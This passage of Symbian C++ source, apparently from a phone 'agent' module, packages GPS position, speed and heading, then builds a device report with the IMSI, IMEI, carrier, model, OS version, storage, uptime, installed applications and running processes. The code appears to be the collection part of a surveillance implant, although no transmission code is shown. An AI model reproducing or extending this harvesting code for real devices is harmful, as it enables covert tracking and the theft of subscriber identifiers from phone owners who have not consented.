gpsInfo.gps.flVerticalDilutionOfPrecision = satPos.VerticalDoP();
gpsInfo.gps.dwValidFields |= GPS_VALID_VERTICAL_DILUTION_OF_PRECISION;
TCourse course;
satPos.GetCourse(course);
gpsInfo.gps.flSpeed = course.Speed();
gpsInfo.gps.dwValidFields |= GPS_VALID_SPEED;
gpsInfo.gps.flHeading = course.Heading();
gpsInfo.gps.dwValidFields |= GPS_VALID_HEADING;
/*
* Additional data regarding the satellites can be obtained using the TSatelliteData structure.
* Example:
*/
/*
TInt numSat = satPos.NumSatellitesInView();
TInt err = KErrNone;
for (int i=0; i<numSat; i++) {
// Get satellite data
TSatelliteData satData;
err = satPos.GetSatelliteData(i,satData);
if(err != KErrNone)
{
continue;
}
// Get info
// See TSatelliteData definition for more methods.
TReal32 azimuth = satData.Azimuth();
TInt satSignalStrength = satData.SignalStrength();
}*/
TUint32 type = TYPE_GPS;
buffer->InsertL(0, &type, sizeof(TUint32));
buffer->InsertL(buffer->Size(), &gpsInfo, sizeof(TGPSInfo));
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}
HBufC8* CAgentDevice::GetInfoBufferL()
{
//create buffer
CBufBase* buffer = CBufFlat::NewL(50);
CleanupStack::PushL(buffer);
TBuf<128> buf;
_LIT(KNewLine,"\n");
// Processor
TInt cpu = 0;
HAL::Get(HAL::ECPU,cpu);
TBuf<8> cpuBuf;
switch (cpu){
case HAL::ECPU_ARM:
cpuBuf.Copy(_L("ARM"));
break;
case HAL::ECPU_MCORE:
cpuBuf.Copy(_L("MCORE"));
break;
case HAL::ECPU_X86:
cpuBuf.Copy(_L("X86"));
break;
default:
cpuBuf.Copy(_L("Unknown"));
break;
}
_LIT(KFormatProcessor,"Processor: %S\n");
buf.Zero();
buf.Format(KFormatProcessor,&cpuBuf);
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
// Battery
_LIT(KFormatBattery,"Battery: %u%% (on AC line)\n");
_LIT(KFormatBattery2,"Battery: %u%% \n");
TUint chargeLevel=0;
CTelephony::TBatteryStatus batteryStatus;
iPhone->GetBatteryInfoSync(chargeLevel, batteryStatus);
buf.Zero();
if((batteryStatus == CTelephony::EBatteryConnectedButExternallyPowered) || (batteryStatus == CTelephony::ENoBatteryConnected))
{
buf.Format(KFormatBattery,chargeLevel);
}
else
{
buf.Format(KFormatBattery2,chargeLevel);
}
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
// RAM
TInt ram = 0;
HAL::Get(HAL::EMemoryRAM, ram);
TInt freeRam = 0;
HAL::Get(HAL::EMemoryRAMFree, freeRam);
_LIT(KFormatRam,"Memory: %i bytes free / %i bytes total\n");
buf.Zero();
buf.Format(KFormatRam,freeRam,ram);
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
// Storage
_LIT(KFormatStorage,"Disk %c: %S - %Li bytes free / %Li bytes total\n");
TVolumeInfo volumeInfo;
//TDriveInfo driveInfo;
for (TInt driveNumber=EDriveA; driveNumber<=EDriveZ; driveNumber++)
{
// get drive info
/*
TInt err = iFs.Drive(driveInfo,driveNumber);
if (err!=KErrNone)
{
continue;
}
*/
// get volume info
TInt err = iFs.Volume(volumeInfo,driveNumber);
if (err!=KErrNone)
{
continue;
}
TChar letter;
iFs.DriveToChar(driveNumber,letter);
buf.Zero();
buf.Format(KFormatStorage,(TUint)letter,&volumeInfo.iName,volumeInfo.iFree,volumeInfo.iSize);
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
}
// OS version
TBuf<KSysUtilVersionTextLength> versionBuf;
SysUtil::GetSWVersion(versionBuf);
_LIT(KFormatOsVersion,"\nOS Version: %S \n");
buf.Zero();
buf.Format(KFormatOsVersion,&versionBuf);
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
// device
_LIT(KFormatDevice,"\nDevice: %S (%S)\n");
TBuf<CTelephony::KPhoneManufacturerIdSize> manufacturer;
TBuf<CTelephony::KPhoneModelIdSize> model;
iPhone->GetPhoneIdSync(manufacturer,model);
buf.Zero();
buf.Format(KFormatDevice,&model,&manufacturer);
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
// IMSI
TBuf<CTelephony::KIMSISize> imsi;
iPhone->GetImsiSync(imsi);
_LIT(KFormatImsi,"IMSI: %S \n");
buf.Zero();
buf.Format(KFormatImsi,&imsi);
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
// IMEI
TBuf<CTelephony::KPhoneSerialNumberSize> imei;
iPhone->GetImeiSync(imei);
_LIT(KFormatImei,"IMEI: %S \n");
buf.Zero();
buf.Format(KFormatImei,&imei);
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
// Carrier
//TBuf<CTelephony::KNetworkShortNameSize> carrier;
TBuf<CTelephony::KNetworkLongNameSize> carrier;
iPhone->GetOperatorNameSync(carrier);
_LIT(KFormatCarrier,"Carrier: %S \n");
buf.Zero();
buf.Format(KFormatCarrier,&carrier);
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
// Uptime
_LIT(KFormatUptime,"Uptime: %i days, %i hours, %i minutes\n");
TInt ms = User::NTickCount();
TInt min = (ms/(1000*60))%60;
TInt hours = (ms/(1000*60*60))%24;
TInt days = (ms/(1000*60*60*24));
buf.Zero();
buf.Format(KFormatUptime,days,hours,min);
buffer->InsertL(buffer->Size(),buf.Ptr(),buf.Size());
if(iList)
{
RApaLsSession lsSession;
TApaAppInfo appInfo;
TApaAppCapabilityBuf capability;
//_LIT(KNewLine,"\n");
// Applications list:
if( lsSession.Connect() == KErrNone)
{
CleanupClosePushL( lsSession );
lsSession.GetAllApps();
_LIT(KAppList,"\nApplication List: \n");
buffer->InsertL(buffer->Size(),KAppList().Ptr(),KAppList().Size());
while( lsSession.GetNextApp( appInfo ) == KErrNone )
{
buffer->InsertL(buffer->Size(), appInfo.iCaption.Ptr(), appInfo.iCaption.Size());
buffer->InsertL(buffer->Size(),KNewLine().Ptr(),KNewLine().Size());
}
CleanupStack::PopAndDestroy(&lsSession);
}
// Running processes
TFullName res;
TFindProcess proc;
_LIT(KProcList,"\nProcesses List:\n");
buffer->InsertL(buffer->Size(),KProcList().Ptr(),KProcList().Size());
while(proc.Next(res) == KErrNone)
{
RProcess ph;
TInt err = ph.Open(proc);
if(err!=KErrNone)
{
continue;
}
buffer->InsertL(buffer->Size(),ph.Name().Ptr(),ph.Name().Size());
buffer->InsertL(buffer->Size(),KNewLine().Ptr(),KNewLine().Size());
ph.Close();
}
}
HBufC8* result = buffer->Ptr(0).AllocL();
CleanupStack::PopAndDestroy(buffer);
return result;
}